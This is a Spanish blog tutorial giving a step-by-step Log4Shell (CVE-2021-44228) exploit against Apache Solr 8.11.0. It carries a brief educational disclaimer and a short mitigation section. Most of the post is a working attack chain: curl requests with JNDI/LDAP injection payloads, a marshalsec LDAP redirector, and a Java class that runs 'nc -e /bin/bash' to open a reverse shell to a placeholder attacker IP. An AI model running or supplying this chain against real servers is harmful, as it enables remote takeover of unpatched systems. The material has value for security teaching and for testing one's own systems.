CARGANDO

Escribe para buscar

Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.

¿Qué es Log4j?

Hace un tiempo, a últimos de diciembre del año 2021, se descubría una vulnerabilidad con un nivel de riesgo muy alto, concretamente, el máximo, 10.0. A este nueva vulnerabilidad se le concedió el indicador de CVE-2021-44228, pero quizá la podemos conocer con el nombre de Log4j o Log4shell.

El motivo de su criticidad reside por un lado en la amplísima usabilidad que tiene y, por otro lado, en que mediante su explotación es posible ganar el acceso del sistema.

Por resumirlo brevemente, Apache Log4j es una librería para Java que se utiliza para el registro de eventos. El problema principal es que permite la inyección de código malicioso redirigiendo peticiones a recursos de terceros mediante JNDI y protocolos como LDAP.

Prueba de concepto Log4j

Para realizar una prueba de concepto y explotar la vulnerabilidad utilizaremos un entorno basado en Linux que tiene corriendo la herramienta de administración Apache Solr en versión 8.11.0. Igualmente se dispone de una versión de Java 1.8.0 update 181.

Reconocimiento

Aunque ya os digo que el entorno es vulnerable a Log4j, realizaremos un reconocimiento del entorno para confirmar esta afirmación.

Para hacer esto necesitamos dos cosillas. En primer lugar, estar escuchando por un puerto concreto donde vamos a recibir una conexión. Por ejemplo, tiramos un Netcat sobre el puerto 9876:

# nc -lvnp 9876

En este punto tenemos que hacer una llamada a una URL un poquito especial:

# curl 'http://IP_VICTIMA/solr/admin/cores?foo=$\{jndi:ldap://IP_ATACANTE:9876\}'

 

Vamos a explicarlo. Esta llamada de Curl va a hacer una petición a la ruta «/solr/admin/cores» seguida de un paso por parámetros a «foo». Esto es propio de Solr y viene heredado de su estructura.

Por otro lado, está el paso por parámetros que realmente tiene el detalle de la vulnerabilidad. En ese punto se realiza una llamada a Java mediante JNDI donde le pasamos una consulta LDAP. Y esta consulta realmente hace una llamada inversa a nuestra máquina atacante.

Mediante la llamada recibimos un status OK pero lo importante no está aquí, si no en el Netcat que teníamos corriendo en el puerto 9876:

Explotación

Como hemos visto, la aplicación es vulnerable a Log4j, pero la conexión de Netcat nos ha abierto una conexión LDAP, lo que no nos servirá de mucho… Por ello, para conseguir una Reverse Shell guay tenemos que trabajar un poco mas.

¿Qué vamos a hacer? Rápidamente, vamos a montar un servidor LDAP que nos va a redirigir la llamada a un servidor web (que también montaremos) y este servirá un script malicioso que abrirá la Reverse Shell. Chupao!

Vamos a ello! En primer lugar montamos un servidor LDAP mediante la utilidad, «marshalsec» (requisito Java 8 y Maven).

  • Montamos la utilidad mediante,
# mvn clean package -DskipTests

 

  • Iniciamos el servidor:
# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP_ATACANTE:8000/#Exploit"

 

Con esto hemos iniciado el servidor LDAP. Importante establecer la IP de la máquina atacante y el path que será el script malicioso que servirá el servidor web.

Con esto vemos corriendo el servidor LDAP en el puerto 1389. Seguimos.

Ahora vamos a realizar un script malicioso que será entregado al destino por el servidor web. Este código en Java (recordar que la vulnerabilidad se basa en Java) lo único que hace es levantar la Reverse Shell.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash IP_ATACANTE 9876");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 

Importante, este archivo Java (Exploit.java) tiene que ser compilado antes de su uso. Esto lo haremos mediante:

# javac Exploit.java

Siguiente punto: montar servidor web. Esto lo podemos hacer muy fácilmente mediante la siguiente instrucción:

# python3 -m http.server

Si quiero aclarar que el comando anterior levanta un servicio web en el puerto 8000. Este puerto se puede cambiar pero recordar que también habría que cambiar el servidor LDAP que redirige a este puerto!

Levantamos una conexión en el puerto 9876 mediante Netcat que es donde recibiremos la conexión.

# nc -lvnp 9876

Y ahora, si todo ha ido bien, empieza la magia!

Ejecutamos nuevamente una instrucción Curl como con la que probábamos la vulnerabilidad y….

# curl 'http://IP_VICTIMA:8983/solr/admin/cores?foo=$\{jndi:ldap://IP_ATACANTE:1389/Exploit\}'

…Veremos en Netcat la Reverse Shell con acceso al servidor!

Mitigación

En el caso de Apache Solr, como muchos otros software que utilizar la librería Log4j, se han distribuido actualizaciones o workarounds para mitigar la vulnerabilidad. El principal problema es que su uso es muy común, y es posible que todavía haya sistemas sin parchear.

En la siguiente imagen del CERT suizo se muestra una explotación junto con sus posibles mitigaciones.

En adición, los sistema de protección perimetrales como UTM o WAF, también implementa patrones para reconocer esta vulnerabilidad. Aun así, es cierto que existen movimientos para automatizar la explotación y hacerla mas eficiente, tratando de bypasear los sistemas de protección.

Por último, aclarar que el método utilizado en esta entrada es uno de muchos. Es posible modificarlo para hacerlo mas efectivo.

close

Ah, hola 👋
Un placer conocerte.

Veo que te gusta la tecnología, ¿quieres que te mandemos una newsletter semanal?.

¡No enviamos spam!. yo también lo odio a muerte!.

Tags:

Deja un Comentario

Your email address will not be published. Required fields are marked *